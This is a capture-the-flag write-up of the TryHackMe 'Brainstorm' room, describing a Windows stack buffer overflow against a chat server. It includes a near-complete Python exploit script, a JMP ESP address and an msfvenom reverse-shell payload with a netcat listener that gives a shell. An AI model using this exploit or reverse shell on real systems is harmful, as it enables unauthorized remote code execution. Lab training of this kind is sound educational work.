Try Hack Me — Brainstorm
This is a writeup of Brainstorm from TryHackMe.
The goal of these writeups is to share with others whilst developing reporting habits and improving my own process. This writeup will not include any passwords/cracked hashes/flags.
Credits to the room creator/s.
Setup
First, we will connect to the VPN. If you are not familiar with the process go through this room first and the other ‘getting started’ rooms.
Once we are connected we will deploy the machine:
When we click deploy, the machine will be started and we will need to wait a few minutes for it to get setup. We will be given an IP for the machine, in my case it’s 10.10.65.196 and the time limit which we can add to if we need to:
For this machine I’ll be using a Kali Linux VM and a Windows 10 VM with Immunity Debugger installed.
Scanning
For our scan we will need to take the following into consideration:
Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.
We went with:
nmap -oN brainstorm-scan 10.10.65.196 -Pn
From our scan results we have:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
3389/tcp filtered ms-wbt-server
9999/tcp open abyss
Investigating FTP
We will try logging into ftp with anonymous:anonymous credentials:
ftp 10.10.65.196
Anonymous login is successful. We will make sure we have set ftp to binary mode for file transfers:
bin
Next, we will enumerate the directories:
dir
We can see there is a directory called chatserver. We will change to that directory and list the files:
cd chatserver
dir
There are two files listed in the directory, chatserver.exe and essfunc.dll. We will download these to our kali machine using the get command:
get chatserver.exe
get essfunc.dll
Investigating Port 9999
Lets see what’s happening on port 9999 by interacting with it using netcat:
nc -nv 10.10.65.196 9999
We can see that ‘Brainstorm Chat (beta)’ is running on port 999 and takes user input for a username and a message, we also note a maximum input of 20 characters for username.
This is probably the chatserver executable we discovered from FTP so let’s transfer this over to our Windows lab for testing purposes so we can test against the program without crashing it on our live target.
Investigating Chatserver.exe
Now we have the files on our Windows Lab machine, we will start by verifying that the program runs the same locally as on the target machine. We run the executable and try connecting to it from our Kali machine using netcat same as before:
nc -nv <windows lab IP> 9999
We can verify that it is the same program running on the target.
Condsidering it takes user input for username and message we will move on to attaching the program to Immunity Debugger and seeing if we can crash it.
Crashing the Program
First, we restart chatserver.exe on our lab machine. Then, we open Immunity Debugger and attach the executable:
Once the programs attached we click the ‘play’ button to make sure it’s running.
We want to identify which input makes the program crash, we can do this by sending a long string as input from our kali machine. We will start by trying 1000 A’s for username and 1000 B’s for message. We will generate the strings using python:
python -c 'print "A" * 1000'python -c 'print "B" * 1000'
With these strings in our terminal, we can reconnect to our lab machine using netcat and copy and paste them into the fields whilst checking Immunity Debugger for any unusual response:
Sending the Username string doesn’t seem to effect the program. Let’s try the message field:
Again, no change in the program behaviour. Let’s try sending a larger string as the message. We will send 3000 C’s this time:
python -c 'print "C" * 3000'
This time the connection hangs in netcat and we can see back in Immunity that the program has crashed and our EIP register has been over-written with 43434343 (four C characters).
Now we know that the message input is vulnerable to a buffer overflow.
Developing an Exploit in Python
I have a skeleton exploit I normally use for buffer overflows. In my last writeup for gatekeeper I didn’t go into a great ammount of detail about the skeleton script. In this case I’ll add a starting point which can be developed further into a working exploit:
#!/usr/bin/python# ------------------------------------------------------------info
# Software name: chatserver.exe
# Vulnerable Input: Message
# Target IP:
# PoC Crash Length: 3000
# EIP Overwrite:
# Bad Characters: \x00
# Vulnerable Module:
# JMP ESP address [eg.0x1480111e]:
# JMP ESP address little endian [eg.\x1e\x11\x80\x14]:
# Shellcode jump code: N/A
# !!! Comment what you are adjusting in the code !!!import socket,systarget = '<ip>' # Target IP
port = 9999 # Target Portuname = "Jack"# Added for username input# ! CODE !
# Buffer Values
filler = "A" * 3000
# eip =
# nop =
# pattern = ("")
# badchars = ("")
# shellcode = ("")#-----------Exploit-Code--------------------------------------------try:
print "\n[+]Sending evil buffer..." buffer = filler
# buffer = pattern
# buffer += eip
# buffer += nop
# buffer += badchars
# buffer += shellcode s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
s.send(uname + '\r\n')
s.recv(1024)
s.send(buffer + '\r\n')
s.recv(1024)except:
print "\n[!]Could not connect[!]"
sys.exit(0)finally:
s.close()
I have some of these values pre-filled (e.g. bad characters) so this is the bare bones of my exploit to start with.
First, we will modify the exploit with the details we need and verify that running the exploit crashes the program as expected:
Our skeleton script over-writes the EIP as expected. Now, we can move on to finding where in the string the EIP gets overwritten.
Finding the Offset
To find the offset we can use msf-pattern_create:
msf-pattern_create -l 3000
This will generate a unique string of 3000 characters we can use in our exploit. We will add this to our exploit, commenting out our ‘filler’, and making the buffer only send the pattern.
Buffer Value:
pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab ...")
Exploit Code:
# buffer = filler
buffer = pattern
Now, we will reset Immunity and re-attach chatserver.exe and run the exploit again:
We can see in Immunity that when the exploit runs against the target the EIP is now overwritten with 31704330. We can use msf-pattern_offset to find the location of this within the string of 3000 characters:
msf-pattern_offset -l 3000 -q 31704330
We get an exact match at offset 2012. We should verify this before continuing so we will modify the following in our exploit:
# ! CODE !
# Buffer Values
filler = "A" * 2012
eip = "B" * 4
nop = "C" * 984
# pattern = ("")
# badchars = ("")
# shellcode = ("")
We will adjust our buffer to send these values. If we have set everything up correctly our EIP should be overwritten with 42424242.
We will Immunity and re-attach chatserver.exe then run the explot:
We can see that the EIP register has been over-written with 42424242 as expected. We can now move on to finding any bad-characters.
Checking for Bad Characters
Characters that the program doesn’t like can’t be included in our jump address or our shellcode so we need to identify them. As a given the null byte (\x00) is a bad character so we can take that off our list. Now if we modify our exploit to send the following after the four B’s we can check in the hex dump if any characters will be an issue. We will adjust our exploit values:
filler = "A" * 2012
eip = "B" * 4
#nop = "C" * 984
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
And adjust our buffer to send this:
buffer = filler
buffer += eip
# buffer += nop
# buffer = pattern
buffer += badchars
# buffer += shellcode
With the changes made we reconnect Immunity and run the exploit. Once the exploit crashes if we right click on the ESP register value and select ‘follow in hex dump’ we can check the hex dump and see if all our characters are displaying correctly:
In this case we can see no bad characters in the hex dump, we will just have to account for the null-byte when generating our shell code. Next, we need to find a jump code to use.
Finding a Jump Code
To find the jump code we need of JMP ESP we use mona modules. At the bottom of Immunity Debugger theres a console where we can type:
!mona modules
We will be able to see the modules available.
First we will check ‘chatserver.exe’ for a valid JMP ESP address:
!mona jmp -r esp -m chatserver.exe
In chatserver.exe we find no pointers available for JMP ESP. But the executable was also on the ftp with essfunc.dll so maybe that has an address we can use:
!mona jmp -r esp -m essfunc.dll
This time we discover a total of 9 available pointers. For our exploit we will try 0x625014df. Let’s add this to our exploit:
#!/usr/bin/python
# ------------------------------------------------------------info
# Software name: chatserver.exe
# Vulnerable Input: Message
# Target IP: <my IP>
# PoC Crash Length: 3000
# EIP Overwrite: 2012
# Bad Characters: \x00
# Vulnerable Module: essfunc.dll
# JMP ESP address [eg.0x1480111e]: 0x625014df
# JMP ESP address little endian [eg.\x1e\x11\x80\x14]: \xdf\x14\x50\x62
# Shellcode jump code: N/A
# !!! Comment what you are adjusting in the code !!!import socket,systarget = '192.168.187.147'port = 9999uname = "Jack"# ! CODE !
# Buffer Valuesfiller = "A" * 2012
eip = "\xdf\x14\x50\x62"
nop = "C" * 984# shellcode =#-----------Exploit-Code--------------------------------------------
try:
print "\n[+]Sending evil buffer..."
buffer = filler
buffer += eip
buffer += nop
# buffer += shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
s.send(uname + '\r\n')
s.recv(1024)
s.send(buffer + '\r\n')
s.recv(1024)
except:
print "\n[!]Could not connect[!]"
sys.exit(0)
finally:
s.close()
To verify that we are in fact hitting our jump call we will set a breakpoint at the address in Immunity by locating and pressing F2:
Now, when we run the exploit the program should pause at the breakpoint and we should be able to step-through and verify that our jump to esp has been successful.
We can see that the program pauses and next to execute is our buffer of C’s. This is where we shall place our shellcode.
Shellcode
Now, we can generate our reverse shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=<my ip> LPORT=4444 -f c -e x86/shikata_ga_nai -b "\x00"
We will add this into our exploit (remember to add some nops before the shellcode, \x90) and setup our listener on our Kali machine:
nc -lvnp 4444
We reset the chatserver.exe and Immunity in our Windows Lab and run the exploit. When we run the exploit we get a shell back to our listener:
Next, let’s change the target and run it agains the brainstorm IP.
Exploitation
We modify the IP in our exploit to the brainstorm IP and setup our netcat listener:
nc -lvnp 4444
Make sure you change the shellcode IP for your TryHackMe IP if you have been testing locally.
Next, we run our exploit and get a system shell on the target:
From here we can grab the flag.
Thanks to everyone who worked on the machine.